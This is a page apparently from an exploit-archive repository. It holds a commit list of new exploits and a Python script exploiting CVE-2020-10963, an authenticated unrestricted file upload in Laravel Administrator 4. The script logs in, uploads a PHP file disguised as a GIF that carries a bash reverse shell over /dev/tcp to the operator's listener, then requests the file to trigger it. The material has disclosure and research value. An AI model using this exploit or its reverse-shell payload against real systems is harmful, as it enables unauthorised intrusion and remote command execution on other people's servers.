673a45a464
13 changes to exploits/shellcodes libupnp 1.6.18 - Stack-based buffer overflow (DoS) SAP Lumira 1.31 - Stored Cross-Site Scripting Foxit Reader 9.0.1.1049 - Arbitrary Code Execution Wordpress Theme Wibar 1.1.8 - 'Brand Component' Stored Cross Site Scripting WonderCMS 3.1.3 - 'uploadFile' Stored Cross-Site Scripting Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution Laravel Administrator 4 - Unrestricted File Upload (Authenticated) Acronis Cyber Backup 12.5 Build 16341 - Unauthenticated SSRF Moodle 3.8 - Unrestricted File Upload Wordpress Theme Accesspress Social Icons 1.7.9 - SQL injection (Authenticated) House Rental 1.0 - 'keywords' SQL Injection ElkarBackup 1.3.3 - 'Policy[name]' and 'Policy[Description]' Stored Cross-site Scripting Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated)
54 lines
No EOL
2 KiB
Python
Executable file
54 lines
No EOL
2 KiB
Python
Executable file
# Exploit title: Laravel Administrator 4 - Unrestricted File Upload (Authenticated)
|
|
# Author: Victor Campos and Xavi Beltran
|
|
# Contact: vcmartin@protonmail.com
|
|
# Exploit Development: https://xavibel.com/2020/03/23/unrestricted-file-upload-in-frozennode-laravel-administrator/
|
|
# Date: 25/3/2020
|
|
# Software link: https://github.com/FrozenNode/Laravel-Administrator/
|
|
# Version : 4
|
|
# Tested on: Laravel-Administrator 4
|
|
# CVE : CVE-2020-10963
|
|
|
|
#!/usr/bin/env python
|
|
|
|
import requests,json,traceback
|
|
from requests.auth import HTTPBasicAuth
|
|
|
|
|
|
#Parameters to be set up (ENTER YOUR VALUES)
|
|
#===========================================
|
|
# Listener IP and port
|
|
ip = ""
|
|
port = ""
|
|
#Admin credentials
|
|
user = ""
|
|
password = ""
|
|
#URLs of the web application
|
|
domain = "" # For example "https://www.example.com"
|
|
login_url = "" # For example "/user/login"
|
|
fileupload_url = "" # For example "/admin/categories/image/file_upload"
|
|
uploaded_files_url = "" # For example "/categories/images"
|
|
|
|
|
|
|
|
#Reverse shell payload (DO NOT MODIFY THIS SECTION)
|
|
#==================================================
|
|
#GIF file header
|
|
shell = "GIF89a\r\n"
|
|
#php reverse shell
|
|
shell += "\x3c?php\r\nexec(\"/bin/bash -c \'bash -i \x3e /dev/tcp/" + ip + "/" + port + " 0\x3e&1\'\");?\x3e\r\n"
|
|
|
|
|
|
with requests.Session() as s:
|
|
try:
|
|
print("\n[+] Logging into the panel")
|
|
s.post(domain + login_url, data={'email':user,'password':password,'remember': '1'})
|
|
print("[+] Uploading the malicious file")
|
|
r = s.post(domain + fileupload_url, files={'name':'Picture.png','file': ('test.php',shell)})
|
|
print("[+] Response text:")
|
|
#print(r.text)
|
|
shell_file = (json.loads(r.text))["filename"]
|
|
print("[+] Name of uploaded file: " + shell_file)
|
|
print("\n[+] Executing the reverse shell on " + ip + ":" + port + "...")
|
|
r = s.get(domain + uploaded_files_url + '/' + shell_file)
|
|
except Exception as e:
|
|
print(str(traceback.format_exc())) |